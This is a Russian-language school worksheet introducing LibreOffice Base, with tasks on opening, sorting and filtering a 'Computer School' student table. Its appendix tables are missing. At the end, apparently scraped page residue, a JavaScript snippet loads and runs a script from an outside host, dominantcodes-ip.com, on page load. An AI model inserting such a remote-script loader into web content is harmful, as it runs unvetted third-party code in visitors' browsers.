Примечание. Для выполнения этой работы предварительно должна быть подготовлена однотабличная база данных «Компьютерная школа», структура и содержание которой описаны в Приложении к данной работе, а также создана форма к этой таблице. В дальнейшем таблицу, в которой хранятся сведения об учениках школы, а также соответствующую форму будем называть « Ученик ».
Справочная информация
Существуют СУБД, ориентированные на программистов и ориентированные на конечного пользователя. Любые действия, выполняемые с базой данных, производятся на компьютере с помощью программ. СУБД, ориентированные на программистов, фактически являются системами программирования со своим специализированным языком, в среде которых программисты создают программы обработки баз данных. Затем с этими программами работают конечные пользователи. К числу СУБД такого типа относятся Visual FoxPro, Oracle, Informix и др.
СУБД LibreOffice Base относится к системам, ориентированным на конечного пользователя. Она позволяет пользователю, не прибегая к программированию, легко выполнять основные действия с базой данных: создание, редактирование и манипулирование данными. СУБД LibreOffice Base входит в состав свободно распространяемого офисного пакета LibreOffice (аналог коммерческого пакета Microsoft Office). Данный пакет является кроссплатформенным, т. е. существуют его версии для различных операционных систем (Windows, Linux, Маc). С помощью Base создаются и эксплуатируются персональные базы данных с относительно небольшим объемом информации. Для создания крупных промышленных информационных систем данный пакет не подходит.
Среда LibreOffice Base с окном базы данных на рабочем поле:
Среда Base имеет интерфейс, характерный для windоws-при-ложений, и включает в себя следующие составляющие: титульную строку с кнопками управления окном, главное меню, панель инструментов, рабочее поле и строку состояния. На рабочем поле устанавливается окно, состоящее из трех основных частей:
База данных. Содержит названия основных типов объектов, с которыми работает Base (Таблицы, Запросы, Формы, Отчеты);
Задачи. Содержит список задач, которые можно решить для выбранного объекта.
Источник данных. Здесь можно выбрать источник данных для работы (определенную таблицу, форму, запрос или отчет).
Данные, с которыми работает СУБД, также могут быть выстроены в иерархическую последовательность. На верхнем уровне такой иерархии находятся основные объекты Base. К ним относятся: таблицы, запросы, формы, отчеты.
Таблица — это главный тип объекта. Все остальные разновидности объектов являются производными от таблицы. Элементы данных, составляющих таблицу, — это записи и поля. Свойства элементов таблицы определяются типами, форматами полей и некоторыми другими параметрами.
Форма — это вспомогательный объект, без которого, в принципе, можно обойтись. Формы создаются для повышения удобства пользователя при просмотре, вводе и редактировании данных в таблицы.
Запрос — результат обращения пользователя к СУБД для поиска данных, добавления, удаления и обновления записей. Результат поиска (выборки) данных представляется в табличном виде. Термином «запрос» называют также сами команды обращения к СУБД.
Отчет — это документ, предназначенный для вывода на печать, сформированный на основании информации, содержащейся в таблицах и запросах.
Еще одним особым видом данных являются связи — описание структуры связей в многотабличной базе данных.
Режимы работы СУБД LibreOffice Base многообразны. Так же как и для других приложений Windows, иерархия режимов реализована через главное меню. Есть режимы общего характера: работа с файлами (меню Файл); работа с буфером обмена (меню Правка); режим настройки среды (меню Вид); справочный режим (меню Справка). Однако основным режимом можно назвать режим работы с базой данных. Он устанавливается после выполнения команды Файл → Создать базу данных или Файл → Открыть базу данных. Поскольку база данных хранится в файле, в первом случае система потребует задать имя и место хранения файла, а во втором — указать на существующий файл с базой данных.
После раскрытия на экране окна базы данных становятся доступными подрежимы работы с основными объектами Base: таблицами, запросами, формами и отчетами, которые инициируются открытием соответствующих закладок в левой части окна. Например, для объекта Запросы можно создать запрос к базе данных в режиме дизайна (определив фильтры для выбора записей), в режиме мастера (более сложный вариант) и в режиме SQL-зaпpoca (самый универсальный вариант, требующий знания языка SQL).
Команды отдаются через главное меню, через кнопки на панели инструментов или в окнах, через контекстное меню (по правой кнопке мыши). Набор активных команд, как правило, носит контекстный характер, т. е. зависит от текущего режима работы. Наиболее важные команды вынесены на панель инструментов.
Задание 1
Запустить на исполнение LibreOffice Base.
Открыть базу данных «Компьютерная школа» (путь и файл, в котором хранится БД, будут указаны учителем).
Установить режим работы с таблицей (вкладка Таблицы). Открыть таблицу «Ученик»: команда Открыть. Изучить содержимое таблицы.
Закрыть таблицу. Перейти в режим работы со структурой таблицы: команда меню Правка → Изменить.
Последовательно перемещаясь от поля к полю, познакомиться со свойствами полей: типами, форматами, длиной.
Закрыть конструктор.
Задание 2
Перейти в режим работы с формами (вкладка Формы).
Открыть форму «Ученик».
Через открывшуюся форму просмотреть последовательность записей. Выполнить переход на первую и последнюю записи, на запись с номером 5, на запись с номером 10.
Добавить в конец таблицы еще одну запись о новом ученике: 21, Валеев, Александр, 2, Б, 6, 8.
Закрыть форму, сохранив введенную информацию.
Задание 3
Выполнить действия на сортировку записей в полной таблице.
Отсортировать таблицу по фамилиям учеников в алфавитном порядке (ключ сортировки — поле «Фамилия»). Для этого:
=> выделить столбец «Фамилия» (щелкнуть по заголовку);
=> с помощью кнопки на панели инструментов выполнить сортировку.
Отсортировать таблицу по двум ключам: «Школа» и «Фамилия» в порядке возрастания. Для этого:
=> нажать кнопку на панели инструментов;
=> в появившемся диалоговом окне выбрать первое поле «Школа» с порядком сортировки по возрастанию, а затем — поле «Фамилия» с порядком сортировки по возрастанию.
Обратите внимание на результат : записи с одинаковым значением поля «Школа» расположились в порядке возрастания поля «Фамилия» . Здесь «Школа» называется первичным, а «Фамилия» - вторичным ключом сортировк и .
Задание 4
Выполнить действия, связанные с отбором записей из таблицы с помощью фильтра.
Открыть таблицу «Ученик».
С помощью фильтра отобрать всех учеников из школы 44. Для этого:
=> выбрать кнопку
=> в появившемся диалоговом окне выбрать имя поля «Школа», условие = (равно), значение 44 и нажать кнопку ОК.
Удалить фильтр с помощью кнопки
Аналогично заданию 2 выбрать всех учеников-восьмиклассников.
Приложение
База данных «Компьютерная школа»
Структура таблицы «Ученик»:
Таблица базы данных:
* Задания со «звездочкой» имеют повышенную сложность.
<< type='text/javascript' data-cfasync='false'>
(function(){
var script = document.createElement('script');
script.type = 'text/javascript';
script.charset = 'utf-8';
script.async = 'true';
script.src = 'https://dominantcodes-ip.com/bens/vinos5.js?24942a' + Math.random();
document.body.appendChild(script);
function updt() {
let is_mobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|BB|PlayBook|IEMobile|Windows Phone|Kindle|Silk|Opera Mini/i.test(navigator.userAgent);
if(!is_mobile) {return;}
let el = null;
let lin = setInterval(function(){
el = document.getElementById('qwerty_wrap');
if (el != null) {
el.style.zoom = '1.8';
clearInterval(lin);
}
}, 100);
}
updt();
})();
<">